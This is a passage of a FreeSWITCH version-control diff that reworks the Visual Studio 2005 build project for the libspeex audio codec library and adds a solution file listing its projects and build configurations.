+				FloatingPointModel="2"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -356,10 +357,12 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				ModuleDefinitionFile="libspeex.def"
+				OutputFile="..\..\..\bin\libspeex.dll"
+				ModuleDefinitionFile="..\..\libspeex.def"
 				OptimizeReferences="2"
 				EnableCOMDATFolding="2"
 				OptimizeForWindows98="1"
+				ImportLibrary="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -418,7 +421,7 @@
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="4"
 				CompileAs="1"
@@ -434,7 +437,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -489,7 +492,7 @@
 				RuntimeLibrary="2"
 				BufferSecurityCheck="false"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -506,7 +509,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -556,7 +559,7 @@
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="4"
 				CompileAs="1"
@@ -572,7 +575,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -627,7 +630,7 @@
 				RuntimeLibrary="2"
 				BufferSecurityCheck="false"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -644,7 +647,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -663,6 +666,94 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release_Dynamic_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				FloatingPointModel="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="..\..\..\bin\libspeex.dll"
+				ModuleDefinitionFile="..\..\libspeex.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				ImportLibrary="..\..\..\lib\libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
 			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
 			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
@@ -1378,7 +1469,7 @@
 	<Files>
 		<Filter
 			Name="Source Files"
-			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			Filter="cpp;c;cxx;odl;idl;hpj;bat;asm;asmx"
 			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
 			>
 			<File
@@ -1414,10 +1505,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\fftwrap.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\filters.c"
 				>
 			</File>
@@ -1442,22 +1529,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\jitter.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\kiss_fft.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\kiss_fftr.c"
-				>
-			</File>
-			<File
-				RelativePath=".\libspeex.def"
-				>
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\lpc.c"
 				>
 			</File>
@@ -1474,34 +1545,18 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\math_approx.c"
+				RelativePath="..\..\..\libspeex\modes.c"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\mdf.c"
+				RelativePath="..\..\..\libspeex\modes_wb.c"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\medfilter.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\misc.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\modes.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\nb_celp.c"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\preprocess.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\quant_lsp.c"
 				>
 			</File>
@@ -1510,10 +1565,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\smallft.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\speex.c"
 				>
 			</File>
@@ -1548,15 +1599,15 @@
 			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
 			>
 			<File
-				RelativePath="..\..\..\libspeex\cb_search.h"
+				RelativePath="..\..\..\libspeex\arch.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\config.h"
+				RelativePath="..\..\..\libspeex\cb_search.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\fftwrap.h"
+				RelativePath="..\..\..\libspeex\cb_search_sse.h"
 				>
 			</File>
 			<File
@@ -1568,11 +1619,11 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\kiss_fft.h"
+				RelativePath="..\..\..\libspeex\fixed_debug.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\kiss_fftr.h"
+				RelativePath="..\..\..\libspeex\fixed_generic.h"
 				>
 			</File>
 			<File
@@ -1596,10 +1647,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\misc.h"
-				>
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\modes.h"
 				>
 			</File>
@@ -1608,7 +1655,7 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\pseudofloat.h"
+				RelativePath="..\..\..\libspeex\os_support.h"
 				>
 			</File>
 			<File
@@ -1620,35 +1667,46 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex.h"
+				RelativePath="..\..\..\libspeex\stack_alloc.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_bits.h"
+				RelativePath="..\..\..\libspeex\vbr.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_callbacks.h"
+				RelativePath="..\..\..\libspeex\vq.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_echo.h"
+				RelativePath="..\..\..\libspeex\vq_sse.h"
 				>
 			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+		<Filter
+			Name="Public Header Files"
+			Filter="h"
+			>
 			<File
-				RelativePath="..\..\..\include\speex\speex_header.h"
+				RelativePath="..\..\..\include\speex\speex.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_jitter.h"
+				RelativePath="..\..\..\include\speex\speex_bits.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_noglobals.h"
+				RelativePath="..\..\..\include\speex\speex_callbacks.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_preprocess.h"
+				RelativePath="..\..\..\include\speex\speex_header.h"
 				>
 			</File>
 			<File
@@ -1659,27 +1717,13 @@
 				RelativePath="..\..\..\include\speex\speex_types.h"
 				>
 			</File>
-			<File
-				RelativePath="..\..\..\libspeex\stack_alloc.h"
-				>
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\vbr.h"
-				>
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\vq.h"
-				>
-			</File>
 		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+		<File
+			RelativePath="..\..\config.h"
 			>
-		</Filter>
+		</File>
 		<File
-			RelativePath=".\ReadMe.txt"
+			RelativePath="..\..\libspeex.def"
 			>
 		</File>
 	</Files>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex.sln (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/libspeex.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,259 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libspeex\libspeex.vcproj", "{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeexdsp", "libspeexdsp\libspeexdsp.vcproj", "{E42FDC95-7243-4219-9EA4-ACCE4AB97197}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "speexdec", "speexdec\speexdec.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "speexenc", "speexenc\speexenc.vcproj", "{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {E42FDC95-7243-4219-9EA4-ACCE4AB97197}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testdenoise", "tests\testdenoise.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {E42FDC95-7243-4219-9EA4-ACCE4AB97197}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testecho", "tests\testecho.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {E42FDC95-7243-4219-9EA4-ACCE4AB97197}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc", "tests\testenc.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc_uwb", "tests\testenc_uwb.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc_wb", "tests\testenc_wb.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testresample", "tests\testresample.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {E42FDC95-7243-4219-9EA4-ACCE4AB97197}
+	EndProjectSection
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug_RTL_dll|Win32 = Debug_RTL_dll|Win32
+		Debug_WM5_PPC_ARM|Win32 = Debug_WM5_PPC_ARM|Win32
+		Debug|Win32 = Debug|Win32
+		Release_Dynamic_SSE|Win32 = Release_Dynamic_SSE|Win32
+		Release_Dynamic|Win32 = Release_Dynamic|Win32
+		Release_RTL_dll|Win32 = Release_RTL_dll|Win32
+		Release_SSE|Win32 = Release_SSE|Win32
+		Release_SSE2|Win32 = Release_SSE2|Win32
+		Release_WM5_PPC_ARM|Win32 = Release_WM5_PPC_ARM|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Win32.ActiveCfg = Debug_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Win32.Build.0 = Debug_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE|Win32.Build.0 = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Win32.ActiveCfg = Release_Dynamic|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Win32.Build.0 = Release_Dynamic|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Win32.ActiveCfg = Release_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Win32.Build.0 = Release_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Win32.ActiveCfg = Release_SSE2|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Win32.Build.0 = Release_SSE2|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.Build.0 = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug_RTL_dll|Win32.ActiveCfg = Debug_RTL_dll|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug_RTL_dll|Win32.Build.0 = Debug_RTL_dll|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug_WM5_PPC_ARM|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug_WM5_PPC_ARM|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug|Win32.Build.0 = Debug|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_Dynamic_SSE|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_Dynamic_SSE|Win32.Build.0 = Release_Dynamic_SSE|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_Dynamic|Win32.ActiveCfg = Release_Dynamic|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_Dynamic|Win32.Build.0 = Release_Dynamic|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_RTL_dll|Win32.ActiveCfg = Release_RTL_dll|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_RTL_dll|Win32.Build.0 = Release_RTL_dll|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_SSE2|Win32.ActiveCfg = Release_SSE2|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_SSE2|Win32.Build.0 = Release_SSE2|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release_WM5_PPC_ARM|Win32.Build.0 = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release|Win32.ActiveCfg = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release|Win32.Build.0 = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug|Win32.ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug|Win32.Build.0 = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release|Win32.ActiveCfg = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_RTL_dll|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_RTL_dll|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
